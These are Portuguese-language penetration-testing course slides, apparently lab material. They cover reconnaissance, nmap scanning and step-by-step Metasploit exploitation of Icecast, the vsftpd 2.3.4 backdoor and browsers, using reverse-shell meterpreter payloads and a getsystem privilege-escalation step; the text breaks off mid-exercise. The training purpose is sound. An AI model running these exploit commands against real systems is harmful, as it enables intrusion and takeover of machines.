Você está na página 1de 196

CYBER SECURITY

Ataques em redes

Prof. Ricardo Tavares


e. ricardo@tavares.io
whoami
Windows PowerExploitationShell
Copyright (C) 2016 Microsoft Corporation. All rights reserved.

PS C:\> whoami /all


Corporate\RicardoTavares

Certifications
CISM,CRISC,CGEIT,GPEN,GCIH, e algumas outras.

Experience
18 anos em Segurança da Informação

Contact
ricardo@tavares.io
Dicas importantes

NÃO COPIE E COLE OS COMANDOS DO SLIDE PARA O SEU SHELL. DIGITE CADA COMANDO INDIVIDUALMENTE.

Antes de iniciar cada exercício, por favor, verifique:

• Se o firewall do Windows está desativado;

• Se está executando os comandos solicitados com as devidas permissões. Em alguns exercícios serão solicitados que execute comandos
com permissões administrativas. O nmap e msfconsole deverão ser sempre executados com permissões administrativas;

• Se tiver problemas com a execução de comandos dentro do Metasploit, finalize todos os jobs ativos utilizando o comando jobs –K e
todas as sessões ativas utilizando o comando sessions –K;

• Se algum comando falhar, utilize a tecla TAB para auto completar um comando que esteja digitando, e confirmar se realmente o
comando está sendo digitado corretamente;

• Se todas as recomendações falharam, reinicie o sua máquina virtual alvo e o seu KALI. Se mesmo assim os problemas continuarem,
restaure o snapshoot do sistema operacional para um snapshoot correspondente aos requisitos do exercício.

• Não será necessário a utilização do comando sudo no KALI.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Objetivo
Modelar as ações das ameaças do mundo
real para encontrar vulnerabilidades de uma forma
controlada e explorar estas vulnerabilidades
determinando o risco ao negócio com o
objetivo de recomendar defesas apropriadas
que possam ser integradas na operação da organização
alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Definições

Vulnerabilidade - Falha
Ameaça - Agente ou
que pode ser explorada
ator que pode causar
para causar algum
um dano.
dano.

Exploit - Código ou
Risco - Onde a ameaça técnica que uma
e vulnerabilidade se ameaça usa para tirar
sobrepõe. vantagem da
vulnerabilidade.
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Definições

Security Assessments (vulnerability assessments)


Focado somente em encontrar vulnerabilidades de Security Audits
segurança, as quais poderão ser usadas ou não
para obter ou roubar dados. Envolve o processo de Testes sobre um rigoroso conjunto de padrões
olhar para falhas de segurança, mais superficial. (medir). Muitas vezes realizado com um checklist
Normalmente inclui revisões de políticas e detalhado.
procedimentos, que normalmente não são
incluídos no penetration testing.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Por que fazer um teste de instrusão

Achar vulnerabilidades Medir a efetividades


antes que os sobre o que está
criminosos. implementado.

Ponto de decisão sobre


a necessidade para
Prova mais concreta do
ações ou recursos
mundo real.
(decisores darão mais
atenção).
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Tipos
Web
Network Client-side test application
services test test

Remote dial- Social


Wireless
up war dial engineering
security test
test test

Stolen
Physical Cryptanalysis
equipament
security test attack
test
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metodologias

Nist (National Institute


Open Source Security
of Standart and
Testing Methodology NIST 800-53A
Technology) Special
Manual (OSSTMM)
Publication 800-115

Open Web Application


Security Project Penetration Testing
(OWASP) Testing Framework
Guide

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Fases de um ataque
Preparação Recon

Pós Exploração

Configuração do C2

D
Configuração
Scanning Exploração Consciência Exfiltration Clean up Deception
de
Situacional Persistência
A

C Escalação de
B
Privilégio
Movimentação
Lateral

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Fases de um ataque
Reconhecimento

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Objetivo

Construir um inventário dos alvos potenciais


obtendo informações através de origens
públicas.

As informações colhidas deverão ser organizadas em uma


planilha de inventário. É essencial informar como o alvo foi
descoberto (Google, DNS zone transfer, etc...).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
O que devo buscar

IP do Nome do Sistema Como foi Portas Vulnerabilidades Contas Outras


Alvo Alvo Operacional descoberto abertas Admins e Infos
Senhas

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Onde devo buscar

WHOIS ARIN Buscadores

Metadados Avaliação
DNS
de arquivos física

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
WHOIS

Consultar no InterNIC (Internet Network Information Center)


Tools - www.geektools.com / www.whois.net

Pelo sistema operacional:


whois -h servidor_whois dominio

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
ARIN LOOKUP

Consultar

CIDR (classless inter-domain routing)


ARIN (american registry for internet numbers
LACNIC http://lacnic.net/ (Latin American and Caribbean Internet
Address Registry)
POC - Point of Contact

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Site Search

a - Obter informações de inteligência competitiva (negócio, produtos e serviços,


escritórios e VIPS, competidores, localização física e press releases recentes);

b - Procurar por vagas em aberto (Compreender os produtos usados na empresa);


Exemplo: site:dominio vagas.
Procurar também em site de empregos (monster)

c - Procurar por pessoas relevantes (linkedIn, Facebook,Twitter, MySpace).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Site Search (Google Dorks)

site:www.meusite.com certificados
site:.com.br certificados
link:www.meusite.com
related:www.meusite.com
intitle:index.of passwd
inurl:viewtopic.php
filetype:.pdf ou ext:.pdf (sinônimos) , tentar buscar sem o filetype também.
robots.txt disallow filetype:txt (importante se colocar o site: também)
intitle:index.of intext:"secring.skr"|"secring.pgp"|"secring.bak"

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Análise de Metadados
É possível obter nome do usuário, caminhos do sistema de arquivos, e-mail, software utilizado e outras
informações importantes. Posso coletar estes documentos revendo os documentos enviados pelo alvo
durante a fase de planejamento do teste, através de e-mails enviados, por downloads do website.

Ferramentas para Analisar Metadados de documentos


- ExifTool;
- Foca;
- Metadata Extraction Tool (by NLNZ);
- Strings (por padrão procura strings em ASCII. Para buscar Unicode devo utilizar e -b (16 bit big endian) e
e -l (litle Endia). Por padrão procura por 4 ou mais caracteres, -n é para usar se precisar de menos
caracteres. No strings do linux fazer a busca uma por vez ascii, e em seguida unicode usando -b, e -l.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Consulta no DNS host -v -t any site.com 10.1.1.12
host -v -t any -l site.com 10.1.1.12
DNS records (NS, A, HINFO, MX, TXT, CNAME, SOA, RP, PTR, SRV. -l = zone transfer
-r = desativa recursividade
Querys padrões de DNS vão pela porta UDP 53, enquanto os zone
transfers vão pela porta TCP 53. dig @[server] [name] [type]
zone transfer = -t AXFR
Recursive lookup - Se o DNS não possui a informação que ele solicita, incremental zone transfer = -t IXFR=N
ele faz o foward da requisição para outro servidor DNS com o objetivo (providenciar registros modificados desde
de obter a informação. que o serial number do SOA for N)
+ norecursive
Por padrão o nslookup usa a recursividade. (RD bit = 1 - Recursion + recursive
desired).
nslookup
server [ip]
DNS cache Snooping - Técnica de investigar o que existe no cache de set type=any
um servidor DNS. ls -d [dominioalvo]
ls -d [dominioalvo] [> filename]
view [filename]
set norecursive (bom para determinar o que
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
existe no cache do dns)
Maltego
- Conceito de Transforms - Pega um pedaço do dado e converte em outro através de um lookup.
www.paterva.com/maltego

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 1 – Coleta de Informações
1 – Abra o shell do KALI (terminal) e instale o whois.
apt-get install whois

2 – Obter informações dos domínios abaixo com o comando whois.


whois gmail.com
whois daryus.com.br
whois tavares.io

Obter os endereços de servidores de DNS, contatos de e-mail de responsáveis e informações que entenderem que são úteis.

3 – Realizar as consultas abaixo para todos os domínios listados no passo 2.


dig <dominio> +noall +answer
dig –t ns <dominio>
dig –t mx <dominio>
dig –t soa <dominio>

4 – Repetir os passos com o comando NSLOOKUP e host.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 1 – Coleta de Informações
1 – Selecione um site qualquer e realize download de arquivos para uma posterior análise de metadados.
wget -nd -r -R html,html,php,asp,aspx,cgi -P /home/tools/metadados www.site.com

-nd: No directories (coloca todos os arquivos em um diretorio especifico)


-r : Download recursivo
-P [diretório] - Prefixo de saida para localizacao de arquivs
-R/A - Restringe ou permite

2 – Realize a análise dos metadados dos arquivos obtidos e insira as informações identificadas na tabela a seguir.
Nome do usuário Conta do usuário Aplicação usada Versão de software E-mail Diretório Outros

Xls
Doc
PDF

exiftool nomedoarquivo
strings nomedoarquivo
strings -e l nomedoarquivo |grep '\\'
strings -e b nomedoarquivo |grep '\\'

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Fases de um ataque
Scanning

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Scanning
Objetivo: Aprender mais sobre o alvo, e encontrar aberturas para interagir com o ambiente.
Determinar endereço de rede, topologia, sistema operacional, portas abertas, serviços e
vulnerabilidades.

Network sweeping OS Fingerprinting


Network Tracing
(probe packets Port scanning (active and
(topologia)
para ver se vivo) passive)

Vulnerability
Version Scanning
scanning

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Scanning
TCP Control Bits
- Conhecidos como Control Flags ou Communication Flags são: SYN,ACK,RST,FIN,URG,PSH, CWR,ECE - cada bit
pode ter o valor de 0 ou 1.

• SYN - O sistema deverá sincronizar os números de sequências;


• ACK - Conhecimento dos pacotes anteriores;
• RST - A conexão deverá ser resetada por erro ou interrupção;
• FIN - Não existe mais dados para enviar. A sessão será down;
• PSH - O dado deverá serguir atraves da camada tcp imediatamente em vez de segurá-lo e esperar por mais dados;
• URG - Existem dados importantes que deverão ser manuseados rapidamente;
• CWR - Congestion Window Reduced - devido a um congestionamento da rede a fila de pacotes pendentes para
enviar foi reduzido;
• ECE - Explicit Congestion Notification Echo - a conexão está experimentando congestionamento.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Scanning - Nmap
Tipos de scan

-sT Connected Scan (3way handshake, mas envia reset se a conexão foi feita no final) - executada com ou sem root e
menos controle do nmap porque usa a chamada do OS connect().
-sS - SYN SCAN (half-open) - requer privilégio root se recebe o syn-ack envia reset para o host.
-sA - ACK - útil para identificar hosts, mas não diz se a porta está aberta ou fechada. Usar em um established filter no
roteador.
-sF - FIN
-sN - Null
-sX - XMAS tree Scan - FIN, PSH e URG.
-sM - Maimon - FIN e ACK porque algumas pilhas tcp derivadas do bsd irão responder a sondagem com RESET se a
porta está fechada, e nada se estiver aberta.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Scanning
Three-Way Hand-shake
Syn (Seq=ISNA ACK=0) -> Syn-ACK (Seq=ISNB ACK=ISNA+1) -> ACK (Seq=ISNA+1 ACK=ISNB+1) - Na
essência existem dois streams de sequência de números na série de pacotes, uma de A para B e outra de B para A.
Lembrar que: (tecnicas half-open scanning)
- quando a porta esta aberta recebo o SYN-ACK;
- quando a porta está fechada recebo um RST-ACK;
- bloqueada por firewall recebo ICMP Port Unreachble;
- se não receber nada de volta a porta pode estar bloqueada por firewall.
Não existem Control Bits no UDP.
Lembrar que:
- udp in e upd back - porta aberta;
- udp in e icmp port unreachble back - porta fechada (ou bloqueada pelo firewall) -> Se receber o port unreachble
(ICMP type 3, code 3) a porta esta fechada e se receber outros erros type 3 com o codigo 1,2,9,10 ou 13 a porta está
filtrada.
- Udp in sem volta - a porta pode esta fechada, o firewall pode esta bloqueando a entrada ou saída, a porta esta aberta
mas esperando um dado especifico no payload (nmap tente enviar um payload a partir da versao 5.20).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 2 - Nmap
1 – Abra o shell de sua distribuição Linux (terminal).

2 – Execute o NMAP para verificar quais portas estão abertas em sua estação de trabalho Windows.
nmap <IP Windows>

Quais portas estão abertas?

3 - Ative o Icecast, desative o firewall do Windows e execute o NMAP novamente, mas desta vez obtendo mais informações
através do parâmetro verbose.
nmap –v <IP Windows>

Quais portas estão abertas?

4 - Execute o NMAP para verificar se as portas 22,23, 53, 80, 135 e 443 TCP estão abertas em seu
servidor Linux (máquina virtual Metasploitable).
nmap -v -sT <IP METASPLOITABLE> -p 22,23,53,80,135,443

Quais portas estão abertas?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 2 - Nmap
5 - Execute o NMAP para verificar EXATAMENTE quais serviços estão ativos nas portas abertas do exercício anterior.
nmap -v -sT -sV <IP METASPLOITABLE> -p 22,23,53,80,135,443 (inserir somente as portas que estão abertas).

Quais os serviços existentes em cada uma das portas?

6 – Execute o NMAP para verificar quais são as portas abertas, serviços correspontes e o sistema operacional da sua estão de trabalho Windows.
nmap –v –sT –sV –O <IP Windows>

7 – Execute o NMAP para verificar quais portas UDP estão abertas na sua estão de trabalho Windows e em seu Servidor Linux.
nmap –v –sU <IP Windows>
nmap –v –sU < IP METASPLOITABLE >

8 - Evite ser identificado, execute o NMAP usando um HALF SCAN (SYN) (-sS) em seu ambiente Windows e Linux, evitando
a resolução de nomes (-n) e usar o ping para verificar se o host está ativo (Pn).
nmap –v –n –Pn –sS –sV –O <ip Windows>

nmap –v –n –Pn –sS –sV –O < IP METASPLOITABLE>

9 – Busque por possíveis vulnerabilidades no ambiente Linux e salve o resultado.


Nmap –v –n –Pn –sS –sV –A <IP METASPLOITABLE> -oA resultado
cat <arquivo salvo de resultado>

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Entrando no território inimigo

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploit

O que é um exploit?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

O Metasploit é um ambiente para executar e criar


diferentes exploits de forma flexível. Ele poderá ser
utilizado para simplificar a criação e padronizar o uso de
exploits.

O Metasploit é divido em conceitos de exploits, payloads e


módulos auxiliares.

• Exploit - Tira vantagem de uma falha em um programa


alvo vulnerável e o faz executar um payload;
• Payload - Faz o alvo fazer algo que o atacante quer;
• Módulos auxiliares - Fazem várias tarefas, incluindo o
scanning.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

O módulo de exploits do Metasploit é divido em:

• auxiliary - inclui port scanners, verificadores de


vulnerabilidades e outros;
• encoders - converte exploits e payloads para uma
forma diferente com o objetivo de fazer o bypass e
evadir firewall e ids;
• exploits – exploits usados para comprometer o alvo;
• payloads - arsenal de payloads.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

O arsenal de exploits é organizado por sistema


operacional, contendo o exploit para o sitema operacional
e para os programas que são executados neles.

Além da organização por sistema operacional, existem as


categorias:

• multi - são os exploits que atacam varios tipos de


sistema operacional, como browsers, php exploits,
samba.
• test - exploits experimentais, frequentemente usados
como um exploit para desenvolvimento de novos
exploits.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

Os payloads são os códigos executados no alvo após a


exploração. No metasploit existem as categorias a seguir:
• singles - stand-alone payloads que possuem sua
funcionalidade e comunicação agrupada. (metsvc,
shellbindtcp,shellreversetcp)
• stagers - pedaços de uma payload que primeiro é
carregado e permite a um stage seguinte se comunicar
com o atacante de diversas formas flexiveis. Os stagers
carregam o stage na maquina alvo. (conexão reversa
tcp)
• stages - pedaços de payload que implementa uma
função, mas comunicam-se usando um stager já
carregado. (remote shell, meterpreter, vncinject,
dllinject)

stager + stage = full payload


single = full payload
Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

Metasploit Interpreter = Meterpreter - payload que age


como um shell especializado executando dentro da
memória de um processo metasploit-exploited. Consiste
de uma serie de DLLs injetadas em processos na memória,
não são criados processos separados em execução, o foco
é Windows.

É só mais uma dll carregada em um processo na maquina


alvo (não chama atenção).

PARA OBTER A LISTA DE DLLS CARREGADAS EM TODOS OS


PROCESSOS NO WINDOWS EXECUTAR O COMANDO
TASKLIST/M.

Como o metasploit é residente na memória ele


desaparece no boot.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Metasploit Exploitation Framework

Comandos básicos do
meterpreter
?/help
mkdir/rmdir
exit/quit - sai do meterpreter removendo da memória do
edit
alvo
getpid
sysinfo
getuid
shutdown/reboot
ps
reg
kill
cd
execute (executa um programa com os privilégios do
lcd
processo no qual o meterpreter está rodando)
pwd/getwd
migrate (injeta a dll no processo alvo e remove do
ls
anterior) - fornece acesso a tudo o que o processo
cat
oferece.
download/upload

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Consciência Situacional

Ganhar consciência situacional para


planejar os próximos passos do ataque.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Estabelecer persistência

Preparar o ambiente para que você volte


quando necessário.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalar Privilégio

Obter o máximo possível de privilégios para acessar


e controlar o que for necessário.

ALVO: conta de sistema

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Obter privilégios administrativos

Invadir o castelo e matar o rei.

Alvo: Conta administrativa do


domínio.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Identificar o que é importante

Identificar arquivos que sejam importantes, verificar


a última data de acesso e contaminar os arquivos
mais acessados.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Identificar o que causa impacto

Identificar o que realmente impacta o


negócio, e demonstrar qual o impacto se
o risco for materializado.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Service Side

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 3 (shell bind)

Antes de executar este exercício, ativar o ICECAST no computador alvo.

1 – Verificar os serviços disponíveis no computador alvo (Windows).


No shell (terminal) do Linux executar o comando a seguir:
$ nmap -v -n -Pn –g 53 -sS -sV -O --script=smb-os-discovery.nse 192.168.16.20 --traceroute --reason
(192.168.16.20 é o endereço IP do alvo – Windows)

Verifique se o NMAP informa a existência de alguma porta aberta com o serviço do ICECAST. Caso o ICECAST não seja exibido, desative o firewall do
computador alvo executando o comando netSh advfirewall set allprofiles state off no prompt.

2 – Acessar o msfconsole.
$ msfconsole
O msfconsole deverá ser executado com as permissões administrativas.

3 – Localizar um exploit para o ICECAST no METASPLOIT.


msf> search icecast

4 – Selecionar o exploit identificado.


msf> use exploit/windows/http/icecast_header

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 3 (shell bind)
5 – Selecionar o payload.
msf exploit(icecast_header) > set payload windows/shell/bind_tcp

6 – Verificar as opções necessárias que deverão ser configuradas antes da exploração.


msf exploit(icecast_header) > show options

7 – Configurar o endereço ip do alvo, a porta de serviço utilizada pelo Icecast que está aberta, e qual porta que será aberta para acessar o shell
(aleatória) no alvo.
msf exploit(icecast_header) > set RHOST 192.168.16.20
msf exploit(icecast_header) > set RPORT 8000
msf exploit(icecast_header) > set LPORT 7777

8 – Inicie a exploração
msf exploit(icecast_header) > exploit
O que aconteceu?

9 – Digite hostname no shell do windows e verifique se é o Windows que você configurou.

10 - Digite exit no shell, pressione CTRL +C e em sequência a tecla y para confirmar a finalização da sessão e voltar ao msfconsole.

11 - No mundo real qual é o problema com essa técnica?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 4 (shell reverse)
1 – Encerre e abra o programa do Icecast no computador alvo, mantendo o seu serviço ativo.

2 – Selecionar o exploit do Icecast.


msf> use exploit/windows/http/icecast_header

3 – Selecionar o payload.
msf exploit(icecast_header) > set payload windows/shell/reverse_tcp

4 – Quais foram as novas opções que apareceram em comparação com o exercício anterior?

5 – Configurar o endereço ip do alvo, a porta de serviço do Icecast que está aberta, o seu endereço IP, e em qual porta de seu
computador o shell reverso deverá retornar (aleatória).
msf exploit(icecast_header) > set LHOST 192.168.16.10
msf exploit(icecast_header) > set RHOST 192.168.16.20
msf exploit(icecast_header) > set RPORT 8000
msf exploit(icecast_header) > set LPORT 7777

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 4 (shell reverse)

6 – Qual a diferença entre o LPORT deste exercício para o do exercício 1?

7 – No computador alvo confirme a conexão reversa executando o comando a seguir no prompt (shell) do Windows.
netstat -naob | findstr ESTABLISHED (Identificar qual conexão direciona para o IP do seu host Debian / KALI)

8 - Digite exit no shell, pressione CTRL +C e em sequência a tecla y para confirmar a finalização da sessão e voltar ao msfconsole.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 5 (Linux)

1 – Verificar os serviços disponíveis no computador alvo (Metasploitable).


No shell (terminal) do Linux executar o comando a seguir:
$ nmap -v -n -Pn –g 53 -sS -sV -O 192.168.16.30 --traceroute --reason
(192.168.16.30 é o endereço IP do alvo –Metasploitable)

Quais portas estão abertas?

2 – Procure o exploit para o serviço vsftp


msf> search vsftp

3 – Selecionar o exploit identificado com um payload de shell reverso.


msf> use exploit/unix/ftp/vsftpd_234_backdoor

4 – Escolher o payload
msf> set payload cmd/unix/interact

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 5 (Linux)
5 – Configurar o endereço ip do alvo, a porta de serviço do VSFTP que está aberta.
msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.16.30
msf exploit(vsftpd_234_backdoor) > set RPORT 21

6 – Realizar a exploração.
msf> exploit

7 – Verificar os diretórios do servidor alvo.


ls -la

8 – Obter o shell interativo.


python -c "import pty;pty.spawn('/bin/bash')"

9 – Veificar informações sobre a versão do Linux do servidor alvo.


uname -a

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client Side

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 6 (browser_autopwn)
Tenha certeza que instalou todos os softwares requisitados antes de iniciar o exercício.

1 – Obtenha informações sobre o browser_autopwn


msf > info auxiliary/server/browser_autopwn

2 – Selecione o auxiliary browser_autopwn no Metasploit.


msf > use auxiliary/server/browser_autopwn

3 – Verifique as opções do auxiliary e realize as configurações necessárias.


msf auxiliary(browser_autopwn) > show options
msf auxiliary(browser_autopwn) > set LHOST 192.168.16.10 (IP do seu host Debian / KALI)
msf auxiliary(browser_autopwn) > set SRVHOST 192.168.16.10 (IP do seu host Debian / KALI)
msf auxiliary(browser_autopwn) > set SRVPORT 80
msf auxiliary(browser_autopwn) > set URIPATH /relatorio

4 – Execute o exploit.
msf auxiliary(browser_autopwn) > exploit
(Aguarde a mensagem ”Server Started”, pode demorar alguns segundos)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 6 (browser_autopwn)

5 – Através do Windows, abra o Firefox e acesse o endereço http://192.168.16.10/relatorio.

Depois de exibir ”Command shell session opened” algumas vezes pressione ENTER.

6 – Verifique quantas sessões de invasão vocês possui


msf auxiliary(browser_autopwn) > sessions -l (sessions –l = letra “L” de list)

7 – Interagir com alguma sessão


msf auxiliary(browser_autopwn) > sessions –i <número de qualquer sessão aberta>

8 – Digite o comando para visualizar diretórios.


dir

9 – Cancele a invasão pressicionando CTRL + C e confirmando com a tecla y se necessário.

10 – No metasploit cancele os jobs criados por este exploit.


msf auxiliary(browser_autopwn) > jobs -K

11 – O que aconteceu exatamente durante o processo de invasão?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 7 (browser e meterpreter)
1 – Solicite informações sobre o exploit adobe_flash_hacking_team_uaf.
info exploit/multi/browser/adobe_flash_hacking_team_uaf
Qual o objetivo deste exploit?

2 – Selecione o exploit adobe_flash_hacking_team_uaf.


use exploit/multi/browser/adobe_flash_hacking_team_uaf

3 – Selecione o payload windows/meterpreter/reverse_tcp.


set target 0 (para poder escolher os payloads nativos do Windows)
set payload windows/meterpreter/reverse_tcp

4 – Verifique as opções que devem ser configuradas no PAYLOAD.


show options

5 – Configure a opções necessárias para o PAYLOAD.


set LHOST 192.168.16.10
set LPORT 443
set SRVHOST 192.168.16.10
set SRVPORT 80
set URIPATH /relatorio

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 7 (browser e meterpreter)

6 – Inicie o exploit.
exploit -j -z
-j – Inicia o exploit no contexto de job.
-z – Não interage com a sessão.

Se o exploit falhar na execução, execute o comando jobs –K para remover todos os jobs ativos que foram criados em
exercicíos anteriores.

O que mudou após a exploração?

7 – Através do Windows, abra o Internet Explorer e acesse o endereço http://192.168.16.10/relatorio. Será iniciado o
processo de exploração.

8 – Liste as sessões.
Pressione a tecla ENTER após ser exibido ”Meterpreter session X opened” e execute os comandos a seguir:
sessions –l
(sessions –l = letra “L” de list)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 7 (browser e meterpreter)
9 – Interagir com a primeira sesão aberta.
sessions –i 1 (ou utilize o número da sessão correspondente e listada após o comando sessions –l)

10 – Agora você está no meterpreter. Obtenha informações sobre o alvo.


sysinfo

Quais foram as informações obtidas?

11 – Com qual usuário você está conectado?


getuid

12 – Qual processo você está usando?


getpid (obtém o seu processo)
ps (lista todos os processos. Agora localize o seu processo pelo número na lista de processos)

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 7 (browser e meterpreter)
13 – Abra o shell da máquina alvo comprometida.
execute -f cmd.exe -c -i

No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada comando:
• hostname
• ipconfig
• dir
• exit

Verifique no computador alvo se aconteceu algo estranho. O que aconteceu?

14 – Abra o shell da máquina alvo comprometida.


shell (o comando shell executará o shell do Windows da mesma forma que o comando informado no exercício anterior.)

No shell do Windows que será aberto, execute os comandos a seguir e informe o resultado após a execução de cada comando:

• Hostname
• ipconfig
• dir
• exit

Qual foi a diferença entre o passo 13?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Pós exploração

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalação de Privilégio

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercicio 8 (escalação de privilégio)

Desbloquear a conta de administrador local do seu Windows e configurar a palavra cyber como a senha para a conta.

1 – Reinicie o serviço do ICECAST, confirme se o mesmo está inicializado e funcionando, e realize a exporação usando o
payload windows/meterpreter/reverse_https.

2 – Após abrir o shell do meterpreter verifique qual o seu usuário/privilégio.


getuid

3 – Obtenha o privilégio de sistema.


getsystem

O que aconteceu? Se você não obteve o privilégio administrativo, provavelmente você foi barrrado pelo UAC (User Account
